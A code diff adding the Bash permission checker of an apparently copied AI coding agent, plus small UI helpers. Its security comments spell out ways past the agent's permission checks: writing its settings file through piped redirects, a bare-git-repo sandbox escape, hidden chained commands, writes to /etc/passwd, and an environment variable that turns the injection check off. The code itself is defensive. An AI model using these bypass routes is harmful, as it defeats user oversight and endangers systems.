+    // Migrating downstream to operate on argv directly is a later commit.
+    astSubcommands = astResult.commands.map(c => c.text)
+    astRedirects = astResult.commands.flatMap(c => c.redirects)
+    astCommands = astResult.commands
+  }
+
+  // Legacy shell-quote pre-check. Only reached on 'parse-unavailable'
+  // (tree-sitter not loaded OR TREE_SITTER_BASH feature gated off). Falls
+  // through to the full legacy path below.
+  if (astResult.kind === 'parse-unavailable') {
+    logForDebugging(
+      'bashToolHasPermission: tree-sitter unavailable, using legacy shell-quote path',
+    )
+    const parseResult = tryParseShellCommand(input.command)
+    if (!parseResult.success) {
+      const decisionReason = {
+        type: 'other' as const,
+        reason: `Command contains malformed syntax that cannot be parsed: ${parseResult.error}`,
+      }
+      return {
+        behavior: 'ask',
+        decisionReason,
+        message: createPermissionRequestMessage(BashTool.name, decisionReason),
+      }
+    }
+  }
+
+  // Check sandbox auto-allow (which respects explicit deny/ask rules)
+  // Only call this if sandboxing and auto-allow are both enabled
+  if (
+    SandboxManager.isSandboxingEnabled() &&
+    SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
+    shouldUseSandbox(input)
+  ) {
+    const sandboxAutoAllowResult = checkSandboxAutoAllow(
+      input,
+      appState.toolPermissionContext,
+    )
+    if (sandboxAutoAllowResult.behavior !== 'passthrough') {
+      return sandboxAutoAllowResult
+    }
+  }
+
+  // Check exact match first
+  const exactMatchResult = bashToolCheckExactMatchPermission(
+    input,
+    appState.toolPermissionContext,
+  )
+
+  // Exact command was denied
+  if (exactMatchResult.behavior === 'deny') {
+    return exactMatchResult
+  }
+
+  // Check Bash prompt deny and ask rules in parallel (both use Haiku).
+  // Deny takes precedence over ask, and both take precedence over allow rules.
+  // Skip when in auto mode - auto mode classifier handles all permission decisions
+  if (
+    isClassifierPermissionsEnabled() &&
+    !(
+      feature('TRANSCRIPT_CLASSIFIER') &&
+      appState.toolPermissionContext.mode === 'auto'
+    )
+  ) {
+    const denyDescriptions = getBashPromptDenyDescriptions(
+      appState.toolPermissionContext,
+    )
+    const askDescriptions = getBashPromptAskDescriptions(
+      appState.toolPermissionContext,
+    )
+    const hasDeny = denyDescriptions.length > 0
+    const hasAsk = askDescriptions.length > 0
+
+    if (hasDeny || hasAsk) {
+      const [denyResult, askResult] = await Promise.all([
+        hasDeny
+          ? classifyBashCommand(
+              input.command,
+              getCwd(),
+              denyDescriptions,
+              'deny',
+              context.abortController.signal,
+              context.options.isNonInteractiveSession,
+            )
+          : null,
+        hasAsk
+          ? classifyBashCommand(
+              input.command,
+              getCwd(),
+              askDescriptions,
+              'ask',
+              context.abortController.signal,
+              context.options.isNonInteractiveSession,
+            )
+          : null,
+      ])
+
+      if (context.abortController.signal.aborted) {
+        throw new AbortError()
+      }
+
+      if (denyResult) {
+        logClassifierResultForAnts(
+          input.command,
+          'deny',
+          denyDescriptions,
+          denyResult,
+        )
+      }
+      if (askResult) {
+        logClassifierResultForAnts(
+          input.command,
+          'ask',
+          askDescriptions,
+          askResult,
+        )
+      }
+
+      // Deny takes precedence
+      if (denyResult?.matches && denyResult.confidence === 'high') {
+        return {
+          behavior: 'deny',
+          message: `Denied by Bash prompt rule: "${denyResult.matchedDescription}"`,
+          decisionReason: {
+            type: 'other',
+            reason: `Denied by Bash prompt rule: "${denyResult.matchedDescription}"`,
+          },
+        }
+      }
+
+      if (askResult?.matches && askResult.confidence === 'high') {
+        // Skip the Haiku call — the UI computes the prefix locally
+        // and lets the user edit it. Still call the injected function
+        // when tests override it.
+        let suggestions: PermissionUpdate[]
+        if (getCommandSubcommandPrefixFn === getCommandSubcommandPrefix) {
+          suggestions = suggestionForExactCommand(input.command)
+        } else {
+          const commandPrefixResult = await getCommandSubcommandPrefixFn(
+            input.command,
+            context.abortController.signal,
+            context.options.isNonInteractiveSession,
+          )
+          if (context.abortController.signal.aborted) {
+            throw new AbortError()
+          }
+          suggestions = commandPrefixResult?.commandPrefix
+            ? suggestionForPrefix(commandPrefixResult.commandPrefix)
+            : suggestionForExactCommand(input.command)
+        }
+        return {
+          behavior: 'ask',
+          message: createPermissionRequestMessage(BashTool.name),
+          decisionReason: {
+            type: 'other',
+            reason: `Required by Bash prompt rule: "${askResult.matchedDescription}"`,
+          },
+          suggestions,
+          ...(feature('BASH_CLASSIFIER')
+            ? {
+                pendingClassifierCheck: buildPendingClassifierCheck(
+                  input.command,
+                  appState.toolPermissionContext,
+                ),
+              }
+            : {}),
+        }
+      }
+    }
+  }
+
+  // Check for non-subcommand Bash operators like `>`, `|`, etc.
+  // This must happen before dangerous path checks so that piped commands
+  // are handled by the operator logic (which generates "multiple operations" messages)
+  const commandOperatorResult = await checkCommandOperatorPermissions(
+    input,
+    (i: z.infer<typeof BashTool.inputSchema>) =>
+      bashToolHasPermission(i, context, getCommandSubcommandPrefixFn),
+    { isNormalizedCdCommand, isNormalizedGitCommand },
+    astRoot,
+  )
+  if (commandOperatorResult.behavior !== 'passthrough') {
+    // SECURITY FIX: When pipe segment processing returns 'allow', we must still validate
+    // the ORIGINAL command. The pipe segment processing strips redirections before
+    // checking each segment, so commands like:
+    //   echo 'x' | xargs printf '%s' >> /tmp/file
+    // would have both segments allowed (echo and xargs printf) but the >> redirection
+    // would bypass validation. We must check:
+    // 1. Path constraints for output redirections
+    // 2. Command safety for dangerous patterns (backticks, etc.) in redirect targets
+    if (commandOperatorResult.behavior === 'allow') {
+      // Check for dangerous patterns (backticks, $(), etc.) in the original command
+      // This catches cases like: echo x | xargs echo > `pwd`/evil.txt
+      // where the backtick is in the redirect target (stripped from segments)
+      // Gate on AST: when astSubcommands is non-null, tree-sitter already
+      // validated structure (backticks/$() in redirect targets would have
+      // returned too-complex). Matches gating at ~1481, ~1706, ~1755.
+      // Avoids FP: `find -exec {} \; | grep x` tripping on backslash-;.
+      // bashCommandIsSafe runs the full legacy regex battery (~20 patterns) —
+      // only call it when we'll actually use the result.
+      const safetyResult =
+        astSubcommands === null
+          ? await bashCommandIsSafeAsync(input.command)
+          : null
+      if (
+        safetyResult !== null &&
+        safetyResult.behavior !== 'passthrough' &&
+        safetyResult.behavior !== 'allow'
+      ) {
+        // Attach pending classifier check - may auto-approve before user responds
+        appState = context.getAppState()
+        return {
+          behavior: 'ask',
+          message: createPermissionRequestMessage(BashTool.name, {
+            type: 'other',
+            reason:
+              safetyResult.message ??
+              'Command contains patterns that require approval',
+          }),
+          decisionReason: {
+            type: 'other',
+            reason:
+              safetyResult.message ??
+              'Command contains patterns that require approval',
+          },
+          ...(feature('BASH_CLASSIFIER')
+            ? {
+                pendingClassifierCheck: buildPendingClassifierCheck(
+                  input.command,
+                  appState.toolPermissionContext,
+                ),
+              }
+            : {}),
+        }
+      }
+
+      appState = context.getAppState()
+      // SECURITY: Compute compoundCommandHasCd from the full command, NOT
+      // hardcode false. The pipe-handling path previously passed `false` here,
+      // disabling the cd+redirect check at pathValidation.ts:821. Appending
+      // `| echo done` to `cd .claude && echo x > settings.json` routed through
+      // this path with compoundCommandHasCd=false, letting the redirect write
+      // to .claude/settings.json without the cd+redirect block firing.
+      const pathResult = checkPathConstraints(
+        input,
+        getCwd(),
+        appState.toolPermissionContext,
+        commandHasAnyCd(input.command),
+        astRedirects,
+        astCommands,
+      )
+      if (pathResult.behavior !== 'passthrough') {
+        return pathResult
+      }
+    }
+
+    // When pipe segments return 'ask' (individual segments not allowed by rules),
+    // attach pending classifier check - may auto-approve before user responds.
+    if (commandOperatorResult.behavior === 'ask') {
+      appState = context.getAppState()
+      return {
+        ...commandOperatorResult,
+        ...(feature('BASH_CLASSIFIER')
+          ? {
+              pendingClassifierCheck: buildPendingClassifierCheck(
+                input.command,
+                appState.toolPermissionContext,
+              ),
+            }
+          : {}),
+      }
+    }
+
+    return commandOperatorResult
+  }
+
+  // SECURITY: Legacy misparsing gate. Only runs when the tree-sitter module
+  // is not loaded. Timeout/abort is fail-closed via too-complex (returned
+  // early above), not routed here. When the AST parse succeeded,
+  // astSubcommands is non-null and we've already validated structure; this
+  // block is skipped entirely. The AST's 'too-complex' result subsumes
+  // everything isBashSecurityCheckForMisparsing covered — both answer the
+  // same question: "can splitCommand be trusted on this input?"
+  if (
+    astSubcommands === null &&
+    !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_COMMAND_INJECTION_CHECK)
+  ) {
+    const originalCommandSafetyResult = await bashCommandIsSafeAsync(
+      input.command,
+    )
+    if (
+      originalCommandSafetyResult.behavior === 'ask' &&
+      originalCommandSafetyResult.isBashSecurityCheckForMisparsing
+    ) {
+      // Compound commands with safe heredoc patterns ($(cat <<'EOF'...EOF))
+      // trigger the $() check on the unsplit command. Strip the safe heredocs
+      // and re-check the remainder — if other misparsing patterns exist
+      // (e.g. backslash-escaped operators), they must still block.
+      const remainder = stripSafeHeredocSubstitutions(input.command)
+      const remainderResult =
+        remainder !== null ? await bashCommandIsSafeAsync(remainder) : null
+      if (
+        remainder === null ||
+        (remainderResult?.behavior === 'ask' &&
+          remainderResult.isBashSecurityCheckForMisparsing)
+      ) {
+        // Allow if the exact command has an explicit allow permission — the user
+        // made a conscious choice to permit this specific command.
+        appState = context.getAppState()
+        const exactMatchResult = bashToolCheckExactMatchPermission(
+          input,
+          appState.toolPermissionContext,
+        )
+        if (exactMatchResult.behavior === 'allow') {
+          return exactMatchResult
+        }
+        // Attach pending classifier check - may auto-approve before user responds
+        const decisionReason: PermissionDecisionReason = {
+          type: 'other' as const,
+          reason: originalCommandSafetyResult.message,
+        }
+        return {
+          behavior: 'ask',
+          message: createPermissionRequestMessage(
+            BashTool.name,
+            decisionReason,
+          ),
+          decisionReason,
+          suggestions: [], // Don't suggest saving a potentially dangerous command
+          ...(feature('BASH_CLASSIFIER')
+            ? {
+                pendingClassifierCheck: buildPendingClassifierCheck(
+                  input.command,
+                  appState.toolPermissionContext,
+                ),
+              }
+            : {}),
+        }
+      }
+    }
+  }
+
+  // Split into subcommands. Prefer the AST-extracted spans; fall back to
+  // splitCommand only when tree-sitter was unavailable. The cd-cwd filter
+  // strips the `cd ${cwd}` prefix that models like to prepend.
+  const cwd = getCwd()
+  const cwdMingw =
+    getPlatform() === 'windows' ? windowsPathToPosixPath(cwd) : cwd
+  const rawSubcommands =
+    astSubcommands ?? shadowLegacySubs ?? splitCommand(input.command)
+  const { subcommands, astCommandsByIdx } = filterCdCwdSubcommands(
+    rawSubcommands,
+    astCommands,
+    cwd,
+    cwdMingw,
+  )
+
+  // CC-643: Cap subcommand fanout. Only the legacy splitCommand path can
+  // explode — the AST path returns a bounded list (astSubcommands !== null)
+  // or short-circuits to 'too-complex' for structures it can't represent.
+  if (
+    astSubcommands === null &&
+    subcommands.length > MAX_SUBCOMMANDS_FOR_SECURITY_CHECK
+  ) {
+    logForDebugging(
+      `bashPermissions: ${subcommands.length} subcommands exceeds cap (${MAX_SUBCOMMANDS_FOR_SECURITY_CHECK}) — returning ask`,
+      { level: 'debug' },
+    )
+    const decisionReason = {
+      type: 'other' as const,
+      reason: `Command splits into ${subcommands.length} subcommands, too many to safety-check individually`,
+    }
+    return {
+      behavior: 'ask',
+      message: createPermissionRequestMessage(BashTool.name, decisionReason),
+      decisionReason,
+    }
+  }
+
+  // Ask if there are multiple `cd` commands
+  const cdCommands = subcommands.filter(subCommand =>
+    isNormalizedCdCommand(subCommand),
+  )
+  if (cdCommands.length > 1) {
+    const decisionReason = {
+      type: 'other' as const,
+      reason:
+        'Multiple directory changes in one command require approval for clarity',
+    }
+    return {
+      behavior: 'ask',
+      decisionReason,
+      message: createPermissionRequestMessage(BashTool.name, decisionReason),
+    }
+  }
+
+  // Track if compound command contains cd for security validation
+  // This prevents bypassing path checks via: cd .claude/ && mv test.txt settings.json
+  const compoundCommandHasCd = cdCommands.length > 0
+
+  // SECURITY: Block compound commands that have both cd AND git
+  // This prevents sandbox escape via: cd /malicious/dir && git status
+  // where the malicious directory contains a bare git repo with core.fsmonitor.
+  // This check must happen HERE (before subcommand-level permission checks)
+  // because bashToolCheckPermission checks each subcommand independently via
+  // BashTool.isReadOnly(), which would re-derive compoundCommandHasCd=false
+  // from just "git status" alone, bypassing the readOnlyValidation.ts check.
+  if (compoundCommandHasCd) {
+    const hasGitCommand = subcommands.some(cmd =>
+      isNormalizedGitCommand(cmd.trim()),
+    )
+    if (hasGitCommand) {
+      const decisionReason = {
+        type: 'other' as const,
+        reason:
+          'Compound commands with cd and git require approval to prevent bare repository attacks',
+      }
+      return {
+        behavior: 'ask',
+        decisionReason,
+        message: createPermissionRequestMessage(BashTool.name, decisionReason),
+      }
+    }
+  }
+
+  appState = context.getAppState() // re-compute the latest in case the user hit shift+tab
+
+  // SECURITY FIX: Check Bash deny/ask rules BEFORE path constraints
+  // This ensures that explicit deny rules like Bash(ls:*) take precedence over
+  // path constraint checks that return 'ask' for paths outside the project.
+  // Without this ordering, absolute paths outside the project (e.g., ls /home)
+  // would bypass deny rules because checkPathConstraints would return 'ask' first.
+  //
+  // Note: bashToolCheckPermission calls checkPathConstraints internally, which handles
+  // output redirection validation on each subcommand. However, since splitCommand strips
+  // redirections before we get here, we MUST validate output redirections on the ORIGINAL
+  // command AFTER checking deny rules but BEFORE returning results.
+  const subcommandPermissionDecisions = subcommands.map((command, i) =>
+    bashToolCheckPermission(
+      { command },
+      appState.toolPermissionContext,
+      compoundCommandHasCd,
+      astCommandsByIdx[i],
+    ),
+  )
+
+  // Deny if any subcommands are denied
+  const deniedSubresult = subcommandPermissionDecisions.find(
+    _ => _.behavior === 'deny',
+  )
+  if (deniedSubresult !== undefined) {
+    return {
+      behavior: 'deny',
+      message: `Permission to use ${BashTool.name} with command ${input.command} has been denied.`,
+      decisionReason: {
+        type: 'subcommandResults',
+        reasons: new Map(
+          subcommandPermissionDecisions.map((result, i) => [
+            subcommands[i]!,
+            result,
+          ]),
+        ),
+      },
+    }
+  }
+
+  // Validate output redirections on the ORIGINAL command (before splitCommand stripped them)
+  // This must happen AFTER checking deny rules but BEFORE returning results.
+  // Output redirections like "> /etc/passwd" are stripped by splitCommand, so the per-subcommand
+  // checkPathConstraints calls won't see them. We validate them here on the original input.
+  // SECURITY: When AST data is available, pass AST-derived redirects so
+  // checkPathConstraints uses them directly instead of re-parsing with
+  // shell-quote (which has a known single-quote backslash misparsing bug
+  // that can silently hide redirect operators).
+  const pathResult = checkPathConstraints(
+    input,
+    getCwd(),
+    appState.toolPermissionContext,
+    compoundCommandHasCd,
+    astRedirects,
+    astCommands,
+  )
+  if (pathResult.behavior === 'deny') {
+    return pathResult
+  }
+
+  const askSubresult = subcommandPermissionDecisions.find(
+    _ => _.behavior === 'ask',
+  )
+  const nonAllowCount = count(
+    subcommandPermissionDecisions,
+    _ => _.behavior !== 'allow',
+  )
+
+  // SECURITY (GH#28784): Only short-circuit on a path-constraint 'ask' when no
+  // subcommand independently produced an 'ask'. checkPathConstraints re-runs the
+  // path-command loop on the full input, so `cd <outside-project> && python3 foo.py`
+  // produces an ask with ONLY a Read(<dir>/**) suggestion — the UI renders it as
+  // "Yes, allow reading from <dir>/" and picking that option silently approves
+  // python3. When a subcommand has its own ask (e.g. the cd subcommand's own
+  // path-constraint ask), fall through: either the askSubresult short-circuit
+  // below fires (single non-allow subcommand) or the merge flow collects Bash
+  // rule suggestions for every non-allow subcommand. The per-subcommand
+  // checkPathConstraints call inside bashToolCheckPermission already captures
+  // the Read rule for the cd target in that path.
+  //
+  // When no subcommand asked (all allow, or all passthrough like `printf > file`),
+  // pathResult IS the only ask — return it so redirection checks surface.
+  if (pathResult.behavior === 'ask' && askSubresult === undefined) {
+    return pathResult
+  }
+
+  // Ask if any subcommands require approval (e.g., ls/cd outside boundaries).
+  // Only short-circuit when exactly ONE subcommand needs approval — if multiple
+  // do (e.g. cd-outside-project ask + python3 passthrough), fall through to the
+  // merge flow so the prompt surfaces Bash rule suggestions for all of them
+  // instead of only the first ask's Read rule (GH#28784).
+  if (askSubresult !== undefined && nonAllowCount === 1) {
+    return {
+      ...askSubresult,
+      ...(feature('BASH_CLASSIFIER')
+        ? {
+            pendingClassifierCheck: buildPendingClassifierCheck(
+              input.command,
+              appState.toolPermissionContext,
+            ),
+          }
+        : {}),
+    }
+  }
+
+  // Allow if exact command was allowed
+  if (exactMatchResult.behavior === 'allow') {
+    return exactMatchResult
+  }
+
+  // If all subcommands are allowed via exact or prefix match, allow the
+  // command — but only if no command injection is possible. When the AST
+  // parse succeeded, each subcommand is already known-safe (no hidden
+  // substitutions, no structural tricks); the per-subcommand re-check is
+  // redundant. When on the legacy path, re-run bashCommandIsSafeAsync per sub.
+  let hasPossibleCommandInjection = false
+  if (
+    astSubcommands === null &&
+    !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_COMMAND_INJECTION_CHECK)
+  ) {
+    // CC-643: Batch divergence telemetry into a single logEvent. The per-sub
+    // logEvent was the hot-path syscall driver (each call → /proc/self/stat
+    // via process.memoryUsage()). Aggregate count preserves the signal.
+    let divergenceCount = 0
+    const onDivergence = () => {
+      divergenceCount++
+    }
+    const results = await Promise.all(
+      subcommands.map(c => bashCommandIsSafeAsync(c, onDivergence)),
+    )
+    hasPossibleCommandInjection = results.some(
+      r => r.behavior !== 'passthrough',
+    )
+    if (divergenceCount > 0) {
+      logEvent('tengu_tree_sitter_security_divergence', {
+        quoteContextDivergence: true,
+        count: divergenceCount,
+      })
+    }
+  }
+  if (
+    subcommandPermissionDecisions.every(_ => _.behavior === 'allow') &&
+    !hasPossibleCommandInjection
+  ) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+      decisionReason: {
+        type: 'subcommandResults',
+        reasons: new Map(
+          subcommandPermissionDecisions.map((result, i) => [
+            subcommands[i]!,
+            result,
+          ]),
+        ),
+      },
+    }
+  }
+
+  // Query Haiku for command prefixes
+  // Skip the Haiku call — the UI computes the prefix locally and
+  // lets the user edit it. Still call when a custom fn is injected (tests).
+  let commandSubcommandPrefix: Awaited<
+    ReturnType<typeof getCommandSubcommandPrefixFn>
+  > = null
+  if (getCommandSubcommandPrefixFn !== getCommandSubcommandPrefix) {
+    commandSubcommandPrefix = await getCommandSubcommandPrefixFn(
+      input.command,
+      context.abortController.signal,
+      context.options.isNonInteractiveSession,
+    )
+    if (context.abortController.signal.aborted) {
+      throw new AbortError()
+    }
+  }
+
+  // If there is only one command, no need to process subcommands
+  appState = context.getAppState() // re-compute the latest in case the user hit shift+tab
+  if (subcommands.length === 1) {
+    const result = await checkCommandAndSuggestRules(
+      { command: subcommands[0]! },
+      appState.toolPermissionContext,
+      commandSubcommandPrefix,
+      compoundCommandHasCd,
+      astSubcommands !== null,
+    )
+    // If command wasn't allowed, attach pending classifier check.
+    // At this point, 'ask' can only come from bashCommandIsSafe (security check inside
+    // checkCommandAndSuggestRules), NOT from explicit ask rules - those were already
+    // filtered out at step 13 (askSubresult check). The classifier can bypass security.
+    if (result.behavior === 'ask' || result.behavior === 'passthrough') {
+      return {
+        ...result,
+        ...(feature('BASH_CLASSIFIER')
+          ? {
+              pendingClassifierCheck: buildPendingClassifierCheck(
+                input.command,
+                appState.toolPermissionContext,
+              ),
+            }
+          : {}),
+      }
+    }
+    return result
+  }
+
+  // Check subcommand permission results
+  const subcommandResults: Map<string, PermissionResult> = new Map()
+  for (const subcommand of subcommands) {
+    subcommandResults.set(
+      subcommand,
+      await checkCommandAndSuggestRules(
+        {
+          // Pass through input params like `sandbox`
+          ...input,
+          command: subcommand,
+        },
+        appState.toolPermissionContext,
+        commandSubcommandPrefix?.subcommandPrefixes.get(subcommand),
+        compoundCommandHasCd,
+        astSubcommands !== null,
+      ),
+    )
+  }
+
+  // Allow if all subcommands are allowed
+  // Note that this is different than 6b because we are checking the command injection results.
+  if (
+    subcommands.every(subcommand => {
+      const permissionResult = subcommandResults.get(subcommand)
+      return permissionResult?.behavior === 'allow'
+    })
+  ) {
+    // Keep subcommandResults as PermissionResult for decisionReason
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+      decisionReason: {
+        type: 'subcommandResults',
+        reasons: subcommandResults,
+      },
+    }
+  }
+
+  // Otherwise, ask for permission
+  const collectedRules: Map<string, PermissionRuleValue> = new Map()
+
+  for (const [subcommand, permissionResult] of subcommandResults) {
+    if (
+      permissionResult.behavior === 'ask' ||
+      permissionResult.behavior === 'passthrough'
+    ) {
+      const updates =
+        'suggestions' in permissionResult
+          ? permissionResult.suggestions
+          : undefined
+
+      const rules = extractRules(updates)
+      for (const rule of rules) {
+        // Use string representation as key for deduplication
+        const ruleKey = permissionRuleValueToString(rule)
+        collectedRules.set(ruleKey, rule)
+      }
+
+      // GH#28784 follow-up: security-check asks (compound-cd+write, process
+      // substitution, etc.) carry no suggestions. In a compound command like
+      // `cd ~/out && rm -rf x`, that means only cd's Read rule gets collected
+      // and the UI labels the prompt "Yes, allow reading from <dir>/" — never
+      // mentioning rm. Synthesize a Bash(exact) rule so the UI shows the
+      // chained command. Skip explicit ask rules (decisionReason.type 'rule')
+      // where the user deliberately wants to review each time.
+      if (
+        permissionResult.behavior === 'ask' &&
+        rules.length === 0 &&
+        permissionResult.decisionReason?.type !== 'rule'
+      ) {
+        for (const rule of extractRules(
+          suggestionForExactCommand(subcommand),
+        )) {
+          const ruleKey = permissionRuleValueToString(rule)
+          collectedRules.set(ruleKey, rule)
+        }
+      }
+      // Note: We only collect rules, not other update types like mode changes
+      // This is appropriate for bash subcommands which primarily need rule suggestions
+    }
+  }
+
+  const decisionReason = {
+    type: 'subcommandResults' as const,
+    reasons: subcommandResults,
+  }
+
+  // GH#11380: Cap at MAX_SUGGESTED_RULES_FOR_COMPOUND. Map preserves insertion
+  // order (subcommand order), so slicing keeps the leftmost N.
+  const cappedRules = Array.from(collectedRules.values()).slice(
+    0,
+    MAX_SUGGESTED_RULES_FOR_COMPOUND,
+  )
+  const suggestedUpdates: PermissionUpdate[] | undefined =
+    cappedRules.length > 0
+      ? [
+          {
+            type: 'addRules',
+            rules: cappedRules,
+            behavior: 'allow',
+            destination: 'localSettings',
+          },
+        ]
+      : undefined
+
+  // Attach pending classifier check - may auto-approve before user responds.
+  // Behavior is 'ask' if any subcommand was 'ask' (e.g., path constraint or ask
+  // rule) — before the GH#28784 fix, ask subresults always short-circuited above
+  // so this path only saw 'passthrough' subcommands and hardcoded that.
+  return {
+    behavior: askSubresult !== undefined ? 'ask' : 'passthrough',
+    message: createPermissionRequestMessage(BashTool.name, decisionReason),
+    decisionReason,
+    suggestions: suggestedUpdates,
+    ...(feature('BASH_CLASSIFIER')
+      ? {
+          pendingClassifierCheck: buildPendingClassifierCheck(
+            input.command,
+            appState.toolPermissionContext,
+          ),
+        }
+      : {}),
+  }
+}
+
+/**
+ * Checks if a subcommand is a git command after normalizing away safe wrappers
+ * (env vars, timeout, etc.) and shell quotes.
+ *
+ * SECURITY: Must normalize before matching to prevent bypasses like:
+ *   'git' status    — shell quotes hide the command from a naive regex
+ *   NO_COLOR=1 git status — env var prefix hides the command
+ */
+export function isNormalizedGitCommand(command: string): boolean {
+  // Fast path: catch the most common case before any parsing
+  if (command.startsWith('git ') || command === 'git') {
+    return true
+  }
+  const stripped = stripSafeWrappers(command)
+  const parsed = tryParseShellCommand(stripped)
+  if (parsed.success && parsed.tokens.length > 0) {
+    // Direct git command
+    if (parsed.tokens[0] === 'git') {
+      return true
+    }
+    // "xargs git ..." — xargs runs git in the current directory,
+    // so it must be treated as a git command for cd+git security checks.
+    // This matches the xargs prefix handling in filterRulesByContentsMatchingInput.
+    if (parsed.tokens[0] === 'xargs' && parsed.tokens.includes('git')) {
+      return true
+    }
+    return false
+  }
+  return /^git(?:\s|$)/.test(stripped)
+}
+
+/**
+ * Checks if a subcommand is a cd command after normalizing away safe wrappers
+ * (env vars, timeout, etc.) and shell quotes.
+ *
+ * SECURITY: Must normalize before matching to prevent bypasses like:
+ *   FORCE_COLOR=1 cd sub — env var prefix hides the cd from a naive /^cd / regex
+ *   This mirrors isNormalizedGitCommand to ensure symmetric normalization.
+ *
+ * Also matches pushd/popd — they change cwd just like cd, so
+ *   pushd /tmp/bare-repo && git status
+ * must trigger the same cd+git guard. Mirrors PowerShell's
+ * DIRECTORY_CHANGE_ALIASES (src/utils/powershell/parser.ts).
+ */
+export function isNormalizedCdCommand(command: string): boolean {
+  const stripped = stripSafeWrappers(command)
+  const parsed = tryParseShellCommand(stripped)
+  if (parsed.success && parsed.tokens.length > 0) {
+    const cmd = parsed.tokens[0]
+    return cmd === 'cd' || cmd === 'pushd' || cmd === 'popd'
+  }
+  return /^(?:cd|pushd|popd)(?:\s|$)/.test(stripped)
+}
+
+/**
+ * Checks if a compound command contains any cd command,
+ * using normalized detection that handles env var prefixes and shell quotes.
+ */
+export function commandHasAnyCd(command: string): boolean {
+  return splitCommand(command).some(subcmd =>
+    isNormalizedCdCommand(subcmd.trim()),
+  )
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/BashTool/commentLabel.ts b/_all-in-one-upload/cc-haha/src/tools/BashTool/commentLabel.ts
new file mode 100644
index 0000000..dd36df8
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/BashTool/commentLabel.ts
@@ -0,0 +1,13 @@
+/**
+ * If the first line of a bash command is a `# comment` (not a `#!` shebang),
+ * return the comment text stripped of the `#` prefix. Otherwise undefined.
+ *
+ * Under fullscreen mode this is the non-verbose tool-use label AND the
+ * collapse-group ⎿ hint — it's what Claude wrote for the human to read.
+ */
+export function extractBashCommentLabel(command: string): string | undefined {
+  const nl = command.indexOf('\n')
+  const firstLine = (nl === -1 ? command : command.slice(0, nl)).trim()
+  if (!firstLine.startsWith('#') || firstLine.startsWith('#!')) return undefined
+  return firstLine.replace(/^#+\s*/, '') || undefined
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/EnterPlanModeTool/UI.tsx b/_all-in-one-upload/cc-haha/src/tools/EnterPlanModeTool/UI.tsx
new file mode 100644
index 0000000..1958fe3
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/EnterPlanModeTool/UI.tsx
@@ -0,0 +1,33 @@
+import * as React from 'react';
+import { BLACK_CIRCLE } from 'src/constants/figures.js';
+import { getModeColor } from 'src/utils/permissions/PermissionMode.js';
+import { Box, Text } from '../../ink.js';
+import type { ToolProgressData } from '../../Tool.js';
+import type { ProgressMessage } from '../../types/message.js';
+import type { ThemeName } from '../../utils/theme.js';
+import type { Output } from './EnterPlanModeTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return null;
+}
+export function renderToolResultMessage(_output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
+  theme: ThemeName;
+}): React.ReactNode {
+  return <Box flexDirection="column" marginTop={1}>
+      <Box flexDirection="row">
+        <Text color={getModeColor('plan')}>{BLACK_CIRCLE}</Text>
+        <Text> Entered plan mode</Text>
+      </Box>
+      <Box paddingLeft={2}>
+        <Text dimColor>
+          Claude is now exploring and designing an implementation approach.
+        </Text>
+      </Box>
+    </Box>;
+}
+export function renderToolUseRejectedMessage(): React.ReactNode {
+  return <Box flexDirection="row" marginTop={1}>
+      <Text color={getModeColor('default')}>{BLACK_CIRCLE}</Text>
+      <Text> User declined to enter plan mode</Text>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJMQUNLX0NJUkNMRSIsImdldE1vZGVDb2xvciIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIl9vdXRwdXQiLCJfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJfb3B0aW9ucyIsInRoZW1lIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJMQUNLX0NJUkNMRSB9IGZyb20gJ3NyYy9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IGdldE1vZGVDb2xvciB9IGZyb20gJ3NyYy91dGlscy9wZXJtaXNzaW9ucy9QZXJtaXNzaW9uTW9kZS5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyUGxhbk1vZGVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIG51bGxcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBfb3V0cHV0OiBPdXRwdXQsXG4gIF9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZTogUHJvZ3Jlc3NNZXNzYWdlPFRvb2xQcm9ncmVzc0RhdGE+W10sXG4gIF9vcHRpb25zOiB7IHRoZW1lOiBUaGV